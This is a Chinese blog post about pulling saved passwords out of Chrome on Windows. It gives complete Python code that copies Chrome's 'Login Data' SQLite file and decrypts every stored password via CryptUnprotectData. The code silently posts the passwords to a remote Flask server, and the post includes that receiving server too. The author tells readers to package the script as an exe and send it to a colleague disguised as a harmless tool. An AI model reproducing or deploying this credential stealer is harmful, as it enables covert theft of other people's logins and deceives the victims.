好好地为什么说这个?
周末看了一篇关于如何破解iphone手机密码的文章,瞬间觉得科学技术不是第一生产力,why?
剧“可靠消息”称,即便美国FBI也无法轻易的对iphone手机进行暴力破解,当然美国有一家黑客公司科针对iphone进行破解,单收费过万美金。
那么铺天盖地的iphone手机密码破解“黑客”是怎么做的?
无非是骗,他们假装成各类官方人员告诉你发现你的iphone手机存在异常,需要远程告知apple_id帮你追回手机,呵呵…
可是,这个梗和今天的文章有什么关系呢?
随着Python的活跃,各大平台都在鼓吹,甚至已经出了关于python黑客入门的书籍。
也许做一个黑客难如登天,那不如我们换个思路,去假装做一个伪黑客如何?
前几天看帖子,发现我们使用浏览器的时候,当登陆一个需要输入用户名密码的网站时,再你登陆成功后,系统会提示你是否保存密码,如果点击确认,浏览器将会把我们本次输入的密码,存储在浏览器中,待下次登录时便可以免密登录。
那么,这些密码是怎么保存的,又存储在哪里呢?
也许很多人会说,360浏览器、QQ浏览器,这些国产的加壳浏览器不论美观还是所谓的安全方面都做的很符合国人需求。但如果你的工作与IT挂钩,无疑Chrome将是很多朋友的首选。当然这篇文章不是介绍Chrome浏览器的使用手册,今天我们主要来看看Chrome浏览器的密码存储机制。
点击你们的Chrome浏览器右上角,进入设置->高级->管理密码(根据浏览器版本不同,可能存在部分差异),亦或者在Chrome浏览器中输入**chrome://settings/passwords
**。你会看到很多已保存过的密码表单信息,当然如果你要查看密码详情,就要输入电脑的系统管理员密码。
那么,Chrome的密码是以什么方式进行存储的呢?SQLite…
很多嵌入式产品中,都会使用SQLite数据库进行数据存储,它占用资源低,数据库即文件,又支持sql语法的增删改查,简直不要太方便
首先,进入我的电脑,地址栏中输入**%LOCALAPPDATA%
**,进入app的数据存储路径:
C:\Users\Administrator\AppData\Local
之后进入chrome浏览器的密码数据库统一地址为:
Google\Chrome\User Data\Default\Login Data
既然拿到了SQLite数据库文件,我们随便找个sqlite工具,就能打开这个数据库了!
这里我使用sqlitestudio:
打开数据库,我们看到有三张表:
logins 、meta、 stats
其中logins中就存储这你保存的网址、用户名、密码数据,分别是:
signon_realm,username_value,password_value
但问题来了,password_value的字段看着是空的啊?因为加密了!
如何解密?网上查了下:
CryptUnprotectData数据可以在win32crypt中找到,要使用该模块,需要进行安装:
pip install pywin32
万事俱备,就差撸代码了!
import os
import shutil
import sqlite3
import win32crypt
db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
print(tmp_file)
if os.path.exists(tmp_file):
os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)
print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))
conn.close()
os.remove(tmp_file)
通过解密,我们获取到了Chrome浏览器保存的用户名密码,然后保存至文本。
之后我们只需要使用**pyinstaller -F xxx.py
**,将代码打包成exe发给同事,就可以在他的电脑上获取密码了!
但,如果咱们的黑客之旅到此为止,那这个伪黑客未免有点low了吧?
为什么说要打包成exe?一是可以脱离环境单独执行,二确是为了加壳!
我们在原有的代码基础上,添加如下内容
import requests
try: # 记得添加try except 不然万一你忘记启动Flask程序,岂不是让同事发现了
requests.post('http://192.168.1.101:9999/index',
data=''.join(passwordList).encode('utf-8'))
except:
pass
最后整理我们的代码:
# -*- coding: utf-8 -*-
# @Author : 王翔
# @JianShu : 清风Python
# @Date : 2019/5/18 22:53
# Software : PyCharm
# version: Python 3.6.8
# @File : ChromePassword.py
import os
import shutil
import sqlite3
import win32crypt
import json
import requests
APP_DATA_PATH = os.environ["LOCALAPPDATA"]
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'
class ChromePassword:
def __init__(self):
self.passwordsList = []
def get_chrome_db(self):
_full_path = os.path.join(APP_DATA_PATH, DB_PATH)
_tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
if os.path.exists(_tmp_file):
os.remove(_tmp_file)
shutil.copyfile(_full_path, _tmp_file)
self.show_passwords(_tmp_file)
def show_passwords(self, db_file):
conn = sqlite3.connect(db_file)
_sql = '''select signon_realm,username_value,password_value from logins'''
for row in conn.execute(_sql):
ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
# 密码解析后得到的是字节码,需要进行解码操作
_info = 'url: %-40s username: %-20s password: %s\n' % \
(row[0][:50], row[1], ret[1].decode())
self.passwordsList.append(_info)
conn.close()
os.remove(db_file)
def save_passwords(self):
with open('password.txt', 'w', encoding='utf-8') as f:
f.writelines(self.passwordsList)
def transfer_passwords(self):
try:
# 此处填写远端Flask对应的IP:PORT
requests.post('http://192.168.1.102:9999/index',
data=json.dumps(self.passwordsList))
except requests.exceptions.ConnectionError:
pass
if __name__ == '__main__':
Main = ChromePassword()
Main.get_chrome_db()
Main.save_passwords()
Main.transfer_passwords()
下来,我们在本地写一个最简单的Flask程序,用户获取回传的参数,代码如下:
# -*- coding: utf-8 -*-
# @Author : 王翔
# @JianShu : 清风Python
# @Date : 2019/5/18 22:53
# Software : PyCharm
# version: Python 3.6.8
# @File : ChromePassword.py
from flask import Flask, request
import time
import json
app = Flask(__name__)
@app.route('/index', methods=["GET", "POST"])
def index():
if request.method == 'POST':
_txtName = '%s_%s.txt' % (request.remote_addr,
time.strftime('%Y%m%d%H%M%S', time.localtime()))
with open(_txtName, 'w', encoding='utf-8') as f:
f.writelines(json.loads(request.data))
return "小哥,里面玩儿啊"
if __name__ == '__main__':
# 端口可自行设置
app.run(host='0.0.0.0', port=9999)
打完收工,就差同事去点击你发给他的exe了。他以为你的工具仅仅把Chrome密码生成txt保存,
其实,在他点击工具的同时,你电脑会获取他传输的数据,并存储在一个ip时间戳的文本中!
然后~~~~~~~~~~拿去给他们炫耀吧!
©本文由作者:清风Python 原创 如需转载请注明
欢迎大家关注我的公众号 清风Python